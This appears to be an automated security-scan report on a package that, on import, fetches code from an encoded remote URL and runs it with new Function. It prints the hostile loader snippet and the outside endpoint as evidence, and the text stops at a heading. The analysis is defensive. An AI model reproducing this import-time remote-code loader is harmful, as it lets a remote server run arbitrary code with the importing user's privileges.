The current source has a property-path defect that prevents the network request and dynamic execution. ## Latest scan - **Scanner version:** rust-scanner-worker-schema-1 - **Verdict:** Malicious - **Confidence:** 90.0% - **Started:** 2026-08-10T13:04:17.335Z - **Finished:** 2026-08-10T13:05:05.007Z - **Download time:** 254 ms - **Static scan time:** 82 ms - **AI review time:** 47336 ms - **Total time:** 47672 ms ## Security analysis ### Published attack-surface review - **Summary:** Importing the main entrypoint invokes an attempted remote payload loader. The current source has a property-path defect that prevents the network request and dynamic execution. - **Trigger:** Import or require index.js. - **Impact:** If made operational, a server response could run arbitrary code with the importing process's privileges. - **Evidence paths:** package.json, index.js, lib/caller.js, lib/const.js - **Review source:** ai\_review - **Reviewed:** 2026-08-10T13:05:05.007Z ### AI review details - **Review stage:** source\_first\_review - **Mechanism:** Import-time remote fetch followed by decoded dynamic code execution. - **Rationale:** This is an overt remote-code-loader pattern at import time, but the inspected source is currently inert because its URL lookup is broken. It warrants a warning rather than a publish block under the concrete-behavior boundary. - **Files touched:** index.js, lib/caller.js, lib/const.js - **Network endpoints:** https://1uznbx.s.gy/7xdQmt ### Review decision - **Verdict:** Suspicious - **Confidence:** 90.0% - **Recommended action:** downgrade\_to\_warn - **Intent class:** Malware - **False-positive risk:** Low - **Evidence for:** index.js imports and invokes lib/caller.js at module load., lib/caller.js fetches a decoded URL and compiles response.data.model with new Function., lib/const.js contains an encoded URL: https://1uznbx.s.gy/7xdQmt., The remote loader is unrelated to the declared package API. - **Evidence against:** package.json has no install lifecycle hooks., lib/caller.js shadows Node's process with lib/const.js, whose object has env but no process.env; the request expression therefore throws before a request., No source evidence of file writes, credential collection, or exfiltration. ## Public findings ### 1.

Critical: Remote Response Code Execution - **Category:** Source - **Confidence:** 98.0% - **Path:** lib/caller.js - **Public source:** [View source]() Source passes code obtained from a remote response into a dynamic execution sink. Public source snippet (untrusted): ```javascript L2: L3: const axios = require("axios"); L4: const process = require("./const"); ... L7: (async () => { L8: axios.get(atob(process.env.DEV_API_KEY)) L9: .then(response => { L10: new Function("require", Buffer.from(response.data.model, 'base64').toString('utf8'))(require); L11: }) ``` ### 8.
